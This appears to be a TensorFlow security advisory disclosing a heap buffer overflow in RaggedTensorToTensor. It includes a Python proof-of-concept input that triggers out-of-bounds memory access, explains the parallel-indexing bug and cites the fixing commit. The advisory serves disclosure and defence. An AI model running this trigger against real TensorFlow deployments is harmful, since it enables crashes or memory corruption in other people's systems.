Heap buffer overflow in `RaggedTensorToTensor`

Impact

An attacker can cause a heap buffer overflow in tf.raw_ops.RaggedTensorToTensor:

import tensorflow as tf

shape = tf.constant([10, 10], shape=[2], dtype=tf.int64)
values = tf.constant(0, shape=[1], dtype=tf.int64)
default_value = tf.constant(0, dtype=tf.int64)
l = [849, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]
row = tf.constant(l, shape=[5, 43], dtype=tf.int64)
rows = [row]
types = ['ROW_SPLITS']

tf.raw_ops.RaggedTensorToTensor(
    shape=shape, values=values, default_value=default_value,
    row_partition_tensors=rows, row_partition_types=types) 

This is because the implementation uses the same index to access two arrays in parallel:

for (INDEX_TYPE i = 0; i < row_split_size - 1; ++i) {
  INDEX_TYPE row_length = row_split(i + 1) - row_split(i);
  INDEX_TYPE real_length = std::min(output_size, row_length);
  INDEX_TYPE parent_output_index_current = parent_output_index[i];
  ...
}

Since the user controls the shape of the input arguments, an attacker could trigger a heap OOB access when parent_output_index is shorter than row_split.

Patches

We have patched the issue in GitHub commit a84358aa12f0b1518e606095ab9cfddbf597c121.